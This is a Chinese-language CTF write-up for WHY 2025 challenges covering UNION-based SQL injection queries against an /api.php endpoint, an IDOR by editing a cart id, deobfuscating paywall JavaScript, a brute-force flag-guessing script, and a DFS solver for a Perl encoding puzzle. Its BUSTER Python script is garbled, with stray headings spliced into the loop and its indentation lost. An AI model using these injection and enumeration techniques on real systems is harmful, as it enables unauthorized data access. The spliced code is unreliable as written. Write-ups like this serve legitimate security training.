WHY 2025 CTF 部分题解

Web

Planets

查看 html,⽹⻚对 /api.php POST ⽅式传⼊了⼀个参数 query = select * from planets ,意

味着可以执⾏⾃定义的 SQL 语句。

<script>
        try {
            fetch("/api.php", {
                method: "POST",
                body: "query=SELECT * FROM planets",
                headers: {"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
            })
            .then(response => response.json())
            .then(response => addPlanets(response))
        } catch (error) {
            console.error(error.message);
        }
</script>

获得返回 id 为1到8的行星的 id,name,image,description ,猜测有4列

查询表名

query=select * from planets union select 1, table_name, null, null from information_schema.tables where table_schema=database()--

发现有一个 “id”:1,”name”:”abandoned_planets” 隐藏的行星,查询它的所有字段

`select * from planets union select 1, name, image, description from abandoned_planets--`

拿到 flag{9c4dea2d8ae5681a75f8e670ac8ba999}

WHY2025 CTF TIMES

这道题主要是分析 js 代码,在题目html源码里可以在最底下发现一个 paywall.min.js

直接在这个 js 代码里搜索 ‘fl’ 来搜索 flag

line3='flag{2d582'+_0x24ce68(-0x1e1,-0x1b8,0x40,-0xbb)+'5d2658a14a'+_0x96e7e8(-0xc,0x6e,0x11,-0x10f)

里面用了一些 js 函数和变量,直接在网页的控制台跑一下代码就出 flag 了。

flag{2d582cd42552e765d2658a14a0a25755}

SHOE SHOP 1.0

随便注册登录一下,在购物车 cart 界面把 id 改为1直接拿到 flag

flag{00f34f9c417fcaa72b16f79d02d33099}

BUSTER

发现题⽬⽹址 + flag 任意前缀都是可以正常访问的,于是写⼀个脚本⼀位⼀位爆破即可:

import requests
import string
import tqdm
brute = string.ascii_letters + string.digits + "{}_"
flag = ""
url = "https://buster.ctf.zone/"
for i in tqdm.tqdm(range(100)):
for j in brute:
new_url = url + flag + j
ok = False
while not ok:
try:
response = requests.get(new_url)
flag 为 flag{deca3b962fc316a6d69a7e0c2c33c7fa}
Crypto
Substitute Teacher
密⽂
ok = True
except Exception:
print("Request failed, retrying...")
if response.status_code == 200:
flag += j
print(f"Found character: {j}, Current flag: {flag}")
break
else:
print("No more characters found, stopping.")
break
print(f"Final flag: {flag}")

flag 为 flag{deca3b962fc316a6d69a7e0c2c33c7fa}

Misc

Just One Line

题目:

$ echo ${FLAG} | perl -ple '$n=()=/./g;$_=~s/./$|--?ord($&)%$n:ord($&)-$^F**5/eg '7032652791156917671465166913651218232017181420241721222618141725201868182311

脚本的作⽤是对 flag 的奇数位 ASCII 码减去 32,对偶数位 ASCII 码模 flag ⻓度。根据 f 和 a 的

ASCII 减去 32 分别为 70,65 可知,l 的 ASCII 码模 flag ⻓度为 32。于是得到 flag ⻓度整除 78,

从⽽猜测 flag ⻓度为 38。

因为不知道模 38 之后是 1 位数字还是 2 位数字,所以写⼀个 dfs 枚举就⾏。

解题脚本

target = "7032652791156917671465166913651218232017181420241721222618141725201868182311"
target_len = len(target)
flag = []
flag_len = 38
available = "abcedfghijklmnopqrstuvwxyz0123456789_{}"

def dfs(u, m):
    if u >= target_len:
        t = "".join(flag)
        if len(t) == flag_len:
            print("".join(flag))
        return
    if m == 0:
        if u + 1 >= target_len:                                                                                                               return
        flag.append(chr(int(target[u:u+2])+32))
        dfs(u + 2, 1 - m)
        flag.pop()
    else:
        z = int(target[u:u+1])
        while not(chr(z) in available) and z < 128:
            z += flag_len
        if z < 128:
            flag.append(chr(z))
            dfs(u + 1, 1 - m)
            flag.pop()
        if u + 1 >= target_len:
            return
        z = int(target[u:u+2])
        while not(chr(z) in available) and z < 128:
            z += flag_len
        if z < 128:
            flag.append(chr(z))
            dfs(u + 2, 1 - m)
            flag.pop()
dfs(0, 0)

跑出来的 flag{5e7c4a6e3a22c47244d1a6f241e48d871

实际flag flag{5e7c4a6e3a22c47244d1a6f241e48d87}

最后一位为1原因是1的ascii码和}刚好差38

上一篇
下一篇